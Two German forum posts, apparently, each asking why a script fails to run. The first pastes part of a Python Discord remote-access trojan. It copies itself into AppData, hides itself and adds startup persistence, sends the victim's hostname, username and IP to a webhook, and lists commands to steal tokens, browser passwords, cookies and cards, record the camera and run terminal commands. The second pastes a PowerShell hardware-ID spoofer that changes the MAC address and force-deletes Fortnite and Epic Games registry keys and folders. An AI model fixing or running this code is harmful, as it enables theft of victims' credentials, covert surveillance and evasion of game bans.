Python Error aber wo?

Ich hab ein Python Skript da ist irgendwo ein Error aber ich weiß nicht wo das Problem ist. Mir wird der Error aber auch nicht angezeigt daher dass der Skript in den ersten 6000 Zeilen überall rot ist. Also der Text ist rot. Daher ist es nicht zu sehen aber der Stript schließt sich direkt. Daher weiß ich, dass da etwas nicht richtig Ich sehe nur, dass in der Zeile zwischen bis dahin erros sind, aber nicht wo genau

if file_name not in secret_names:
        while True:
            file_name_secret = random.choice(secret_names)
            if ext not in file_name_secret: continue
            else: break

        path_name = random.choice(path_appdata) "\\Windows"

        if not os.path.isdir(path_name):
            os.mkdir(path_name)

        script_path = f"{path_name}\\{file_name_secret}"
        shutil.copy(sys.argv[0], script_path)
            
        if ext == "py":
            os.system(f"python {script_path}")
            sys.exit()
        elif ext == "exe":
            os,system(f"start {script_path}")
            sys.exit()
        else:
            os.system(f"start {script_path}")
            sys.exit()

def NewConnection(w3bh00k_ur1):
    try:
        client = SyncWebhook.from_url(w3bh00k_ur1)

        embed = discord.Embed(
            title= f'New Connection !',
            description= f"""```
Status    : Connected
Day       : {current_time_day()}
Hour      : {current_time_hour()}
Hostname  : {hostname_pc}
Username  : {username_pc}
Country   : {country}
Ip        : {ip_address_public}
File Name : {file_name}
```""",
            color= color_embed
        )
        client.send(embed=embed, username=username_embed, avatar_url=avatar_embed)
    except:
        pass

        
def HelpCommand(w3bh00k_ur1, prefix):
    client = SyncWebhook.from_url(w3bh00k_ur1)

    embed = discord.Embed(
        title= f'R4t Commands:',
        color= color_embed
    )
    embed.add_field(name=f"{prefix}help", value=f"This.", inline=False)
    embed.add_field(name=f"{prefix}system_info", value=f"Steal: User, System, Ip, Disk, Screen, Location, etc.", inline=False)
    embed.add_field(name=f"{prefix}discord_token", value=f"Steal: Token, Email, Phone, Id, Username, etc. ", inline=False)
    embed.add_field(name=f"{prefix}browser_steal", value=f"Steal: Passwords, History, Cookies, Downloads, Cards, etc. ", inline=False)
    embed.add_field(name=f"{prefix}roblox_cookie", value=f"Steal: Cookie, Id, Username, etc. ", inline=False)
    embed.add_field(name=f"{prefix}camera_capture", value=f"Record the victim's computer camera.", inline=False)
    embed.add_field(name=f"{prefix}screenshot", value=f"Capture the victim's computer screen.", inline=False)
    embed.add_field(name=f"{prefix}shutdown", value=f"Turn off the victim's computer.", inline=False)
    embed.add_field(name=f"{prefix}terminal `[cmd]`", value=f"Write to the victim's computer terminal.", inline=False)
    embed.add_field(name=f"{prefix}open_url `[url]`", value=f"Launch a web page on the victim's computer.", inline=False)
    embed.add_field(name=f"{prefix}block_website `[url]`", value=f"Blocks a website on the victim's computer.", inline=False)
    embed.add_field(name=f"{prefix}open_calculator `[number]`", value=f"Opens the calculator on the victim's computer a certain number of times.", inline=False)
    embed.add_field(name=f"{prefix}block_task_manager", value=f"Blocks the task manager of the victim's computer.", inline=False)
    embed.add_field(name=f"{prefix}voice `[text]`", value=f"Plays a voice with the chosen text on the victim's computer.", inline=False)
    embed.set_footer(text=footer_text, icon_url=avatar_embed)

    client.send(embed=embed, username=username_embed, avatar_url=avatar_embed)

hid3_pr0gr4m()
try: St4rtup()
except: pass

intents = discord.Intents.default()
intents.guilds = True
intents.messages = True
intents.message_content = True

Bot, Error, Python, Discord

Powershell Error aber wo?

Ich hab ein Python error, suche seit hundert Jahren, wo der Fehler sein könnte, ich versteh nichts mehr, nach fast 36 Stunden Programmieren.

Spoofing...
Fehler: In C:\Users\Marcel\Documents\programmieren\aimware\spoofer\spoofer.ps1:17 Zeichen:13
+     } catch {
+             ~
Die schlieáende "}" fehlt im Anweisungsblock oder der Typdefinition.
In C:\Users\Marcel\Documents\programmieren\aimware\spoofer\spoofer.ps1:8 Zeichen:25
+ function Set-MacAddress {
+                         ~
Die schlieáende "}" fehlt im Anweisungsblock oder der Typdefinition.
In C:\Users\Marcel\Documents\programmieren\aimware\spoofer\spoofer.ps1:62 Zeichen:151
+ ... lÇôschen, MAC-Adresse ÇÏndern, neue UUID generieren)? (y/n)") -eq "y" ...
+                                                                 ~
Unerwartetes Token ")" in Ausdruck oder Anweisung.
In C:\Users\Marcel\Documents\programmieren\aimware\spoofer\spoofer.ps1:62 Zeichen:160
+ ... schen, MAC-Adresse ÇÏndern, neue UUID generieren)? (y/n)") -eq "y") {
+                                                                       ~
Unerwartetes Token ")" in Ausdruck oder Anweisung.
In C:\Users\Marcel\Documents\programmieren\aimware\spoofer\spoofer.ps1:79 Zeichen:3
+ } else {
+   ~~~~
Unerwartetes Token "else" in Ausdruck oder Anweisung.
In C:\Users\Marcel\Documents\programmieren\aimware\spoofer\spoofer.ps1:83 Zeichen:37
+ Write-Host "Press any key to exit..."
+                                     ~
Die Zeichenfolge hat kein Abschlusszeichen: ".
In C:\Users\Marcel\Documents\programmieren\aimware\spoofer\spoofer.ps1:79 Zeichen:8
+ } else {
+        ~
Die schlieáende "}" fehlt im Anweisungsblock oder der Typdefinition.
    + CategoryInfo          : ParserError: (:) [], ParentContainsErrorRecordException
    + FullyQualifiedErrorId : MissingEndCurlyBrace



Script:

function Generate-RandomMacAddress {
    $rand = New-Object Random
    $macBytes = @(0..5 | ForEach-Object { $rand.Next(256) })
    $macBytes[0] = ($macBytes[0] -bor 2) -band 254
    return -join ($macBytes | ForEach-Object { "{0:X2}" -f $_ }) -replace '(.{2})', '$1-' | ForEach-Object { $_.TrimEnd('-') }
}


function Set-MacAddress {
    param (
        [string]$adapterName,
        [string]$macAddress
    )


    try {
        Get-NetAdapter -Name $adapterName | Set-NetAdapter -MacAddress $macAddress -Confirm:$false
        Write-Host "MAC-Adresse von $adapterName geändert auf $macAddress"
    } catch {
        Write-Host "Fehler beim Ändern der MAC-Adresse: $_"
    }
}


function Remove-RegistryKeys {
    $registryPath = "HKLM:\SOFTWARE"
    $epicGamesKeys = Get-ChildItem -Path $registryPath -Recurse | Where-Object { $_.Name -like "*Fortnite*" -or $_.Name -like "*Epic Games*" }
    foreach ($key in $epicGamesKeys) {
        try {
            Remove-Item -Path $key.PSPath -Recurse -Force
            Write-Host "Registry-Schlüssel gelöscht: $($key.PSPath)"
        } catch {
            Write-Host "Fehler beim Löschen des Schlüssels $($key.PSPath): $_"
        }
    }
}


function Remove-GameFolders {
    $fortnitePath = "C:\Program Files\Epic Games\Fortnite"
    $epicGamesPath = "C:\Program Files\Epic Games"


    if (Test-Path $fortnitePath) {
        Remove-Item -Path $fortnitePath -Recurse -Force
        Write-Host "Fortnite gelöscht: $fortnitePath"
    } else {
        Write-Host "Fortnite nicht gefunden: $fortnitePath"
    }


    if (Test-Path $epicGamesPath) {
        Remove-Item -Path $epicGamesPath -Recurse -Force
        Write-Host "Epic Games gelöscht: $epicGamesPath"
    } else {
        Write-Host "Epic Games nicht gefunden: $epicGamesPath"
    }
}


function Get-MainboardUUID {
    return (Get-WmiObject Win32_ComputerSystemProduct).UUID
}


function Generate-NewUUID {
    return [Guid]::NewGuid().ToString()
}


if ((Read-Host "Möchten Sie alle Änderungen vornehmen (Registry löschen, Spiele-Ordner löschen, MAC-Adresse ändern, neue UUID generieren)? (y/n)") -eq "y") {
    Remove-RegistryKeys
    Remove-GameFolders


    if ((Get-NetAdapter | Where-Object { $_.Status -eq "Up" }).Count -gt 0) {
        $networkAdapterName = "Ethernet"
        $newMacAddress = Generate-RandomMacAddress
        Set-MacAddress -adapterName $networkAdapterName -macAddress $newMacAddress
    } else {
        Write-Host "Kein aktiver Netzwerkadapter gefunden."
    }


    $mainboardUUID = Get-MainboardUUID
    Write-Host "Aktuelle Mainboard UUID: $mainboardUUID"


    $newMainboardUUID = Generate-NewUUID
    Write-Host "Neue zufällige Mainboard UUID: $newMainboardUUID"
} else {
    Write-Host "Änderungen übersprungen."
}


Write-Host "Press any key to exit..."
[System.Console]::ReadKey() | Out-Null

abgesehen davon das die Powershell sich nach dem Start direkt schließt.

Wer weiß, wo das Problem ist, wäre Top.


Script, PowerShell